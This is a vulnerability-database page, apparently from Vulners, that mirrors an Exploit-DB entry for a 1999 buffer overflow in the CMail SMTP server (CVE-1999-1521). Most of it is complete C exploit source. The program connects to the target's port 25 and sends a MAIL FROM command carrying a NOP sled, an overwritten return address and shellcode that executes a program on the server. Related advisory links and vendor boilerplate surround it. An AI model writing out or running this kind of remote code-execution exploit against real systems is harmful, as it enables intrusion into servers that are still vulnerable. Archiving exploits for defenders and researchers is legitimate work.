Lucene search
+L

Computalynx CMail 2.3 SP2/2.4 - SMTP Buffer Overflow

🗓️ 13 Sep 1999 00:00:00Reported by UNYUNType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

Buffer overflow in CMail SMTP service allows arbitrary code execution on target server.

Related
Code
ReporterTitlePublishedViews
Family
nessus
Tenable Nessus
CMail MAIL FROM Command Remote Overflow
29 Oct 199900:00
nessus
cve
CVE
CVE-1999-1521
12 Sep 200104:00
cve
cvelist
Cvelist
CVE-1999-1521
12 Sep 200104:00
cvelist
euvd
EUVD
EUVD-1999-1502
7 Oct 202500:30
euvd
nvd
NVD
CVE-1999-1521
12 Sep 199904:00
nvd
// source: https://www.securityfocus.com/bid/633/info

There is a buffer overflow in the CMail SMTP service (long MAIL FROM:) that may allow an attacker to execute arbitrary code on the target server.

CMail Server

/*=============================================================================
   CMAIL Server 2.3 SP2 Exploit for Windows98
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>

#define  BUFSIZE    2000
#define  SMTP_PORT  25
#define  RETADR     626
#define  JMPADR     622
#define  JMPOFS     6
#define  EIP        0xbff7a06b
#define  NOP        0x90
#define  JMPS       0xeb

unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
0xFF, 0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.welcome.exe";

int     main(int argc,char *argv[])
{
        struct hostent      *hs;
        struct sockaddr_in  cli;
        char                packetbuf[BUFSIZE+3000],buf[BUFSIZE];
        int                 sockfd,i,ip;

        if (argc<2){
            printf("usage\n %s HostName\n",argv[0]);
            exit(1);
        }
        bzero(&cli, sizeof(cli));
        cli.sin_family = AF_INET;
        cli.sin_port = htons(SMTP_PORT);
        if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((hs=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified host.\n");
                exit(1);
            }
            cli.sin_family = hs->h_addrtype;
            memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
        }

        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
            perror("socket");  exit(0);
        }

        if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
            perror("connect"); exit(0);
        }
        while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
            packetbuf[i]=0;
            if(strchr(packetbuf,'\n')!=NULL) break;
        }

        strcat(exploit_code,cmdbuf);
        exploit_code[65]=strlen(cmdbuf+23);
        memset(buf,0x90,BUFSIZE);
        ip=EIP;
        buf[RETADR  ]=ip&0xff;
        buf[RETADR+1]=(ip>>8)&0xff;
        buf[RETADR+2]=(ip>>16)&0xff;
        buf[RETADR+3]=(ip>>24)&0xff;
        buf[JMPADR]  =JMPS;
        buf[JMPADR+1]=JMPOFS;
        memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
        buf[BUFSIZE]=0;

        sprintf(packetbuf,"helo penguin\r\n");
        write(sockfd,packetbuf,strlen(packetbuf));
        while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
            packetbuf[i]=0;
            if(strchr(packetbuf,'\n')!=NULL) break;
        }
        printf("%s\n",packetbuf);
        sprintf(packetbuf,"MAIL FROM: aa <%[email protected]>\r\n",buf);
        write(sockfd,packetbuf,strlen(packetbuf));
        sleep(100);
        close(sockfd);
}

-------------------

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jun 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.08054
38